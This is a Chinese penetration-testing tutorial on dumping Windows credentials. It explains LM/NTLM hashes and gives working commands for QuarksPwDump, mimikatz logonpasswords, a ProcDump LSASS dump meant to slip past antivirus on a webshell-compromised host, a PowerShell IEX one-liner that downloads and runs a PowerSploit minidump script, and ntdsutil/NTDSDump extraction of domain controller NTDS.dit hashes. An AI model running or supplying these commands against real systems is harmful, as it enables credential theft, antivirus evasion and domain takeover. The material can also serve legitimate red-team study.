0x01 windows密码Hash
早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制，简称LM，它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制，称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令，我们称之为hash（中文：哈希），Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM-hash，第二部分是NTLM-hash。
NTLM-Hash与LM-Hash算法相比，明文口令大小写敏感，但无法根据NTLM-Hash判断原始明文口令是否小于8字节，摆脱了魔术字符串"[email protected]#$%"。MD4是真正的单向哈希函数，穷举做为数据源出现的明文，难度较大。问题在于，微软一味强调NTLM-Hash的强度高，却避而不谈一个事实，为了保持向后兼容性，NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的，相反潜在损害着安全性。增加NTLM-Hash后，首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本，再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。
Windows系统下的hash密码格式为：用户名称:RID:LM-HASH值:NT-HASH值，例如：Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用户名称为：Administrator
RID为：500
LM-HASH值为：C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为：683020925C5D8569C23AA724774CE6CC
如果你知道这个用户的hash密码了，拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。
0x02 QuarksPwDump
一般用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash，将得到的hash值在http://www.objectif-securite.ch/ophcrack.php查询。
QuarksPwDump抓取密码的命令如下：（其他命令可以参考软件说明）
quarkspwdump.exe -dhl
得到的整个HASH值拿去在线破解。
0x03 mimikatz
密码抓取神器mimikatz来测试一下，命令如下：
privilege::debugsekurlsa::logonpasswords
图示结果如下：
有没有发现，mimikatz和QuarksPwDump抓取的LM-HASH是不同的，而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。
在渗透测试过程中会出现这样得场景，我已经chopper连上对方主机，但是系统默认安装了360安全卫士或其他得安全软件。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实，我们可以先dump对方主机的LSASS内存文件，然后在自己主机用mimikatz进行处理，这样就可以得到对方主机的系统HASH和密码。
可以到微软的官方网站下载 ProDump，这个肯定不会引起杀毒软件的报毒和查杀了。
命令如下：
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
图示如下：
接下来，再演示一下本地用mimikatz进行破解：
首先输入命令：
mimikatz.exe "sekurlsa::minidump lsass.dmp"
接着输入命令：
sekurlsa::logonpasswords
可以看到，能够得到离线得到系统密码，这样就可以在对方主机上绕过杀毒软件的查杀了。
在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下：
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1‘); "Get-Process lsass | Out-Minidump"
我在被渗透主机上进行尝试过，发现也是可行的，不过chopper的虚拟终端下会显示错误，实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。
Metasploit中也有集成mimkatz的。具体教程可以参考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz
0x04 NTDSDump相关
受不了NTDSXTract的龟速，于是用quarkspwdump改了个能读取system.hiv的离线版提取工具。
ntds.dit其实就是个esent数据库，微软本身就有一系列的文档化api能够操作这个数据库。
其命令行如下：
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]
-f ntds.dit路径
-k 可选的十六进制格式的SYSKEY
-s 可选的system.hiv路径
-h 导出历史密码记录
-t 导出格式，LC或JOHN
-o 导出到指定文件中
SYSKEY实际上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面几个子项的类型信息，可以用RegQueryInfoKey查询出来。
附件里面提供了两个导出工具，getsyskey_c.exe由vc6编译，其源码为getsyskey.cpp，用vc6直接打开编译即可。
getsyskey_cs.exe由.net2.0编译，源码为getsyskey.cs，用csc直接编译即可。
已知错误：
JetAttachDatabase() failed
原因：数据库需要修复，执行esentutl /p /o ntds.dit进行修复。
下载地址：
另：改完之后又看了看quarkspwdump的github，发现有人提交了个pull request：https://github.com/quarkslab/quarkspwdump/pull/3
其添加了一个加载system.hiv的功能，调用了RegLoadKey。而这个API必须要过UAC才行，所以用起来还是挺别扭的，不如这个直接读取文件进行处理来得痛快。
安全脉搏姿势
在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit， SAM以及System ，
ntdsutil
snapshot
activate instance ntds
create
mount {GUID}
copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
unmount {GUID}
quit
quit
然后就是各种copy了
在域控上使用 QuarksPwDump.exe 导出绝大部分明文:
QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit
下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key
附Quarks PWDump使用参数:
quarks-pwdump.exe <options>
Options :
-dhl --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd --dump-hash-domain (NTDS_FILE must be specified)
-db --dump-bitlocker (NTDS_FILE must be specified)
-nt --ntds-file FILE
-hist --with-history (optional)
-t --output-type JOHN/LC (optional, if no=>JOHN)
-o --output FILE (optional, if no=>stdout)
Example: quarks-pwdump.exe --dump-hash-domain --with-history
当然也可以把ntds.dit， SAM以及System下载回来(很多大内网 ntds就好几G，下载回来不太科学）用某工具解密 不过感觉有点庞大，现在我们可以使用NTDSDump.exe
NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt
0x05 参考链接
https://www.secpulse.com/archives/6301.html
https://www.cnblogs.com/hiccup/p/4380298.html
原文地址：https://www.cnblogs.com/zhaijiahui/p/8994482.html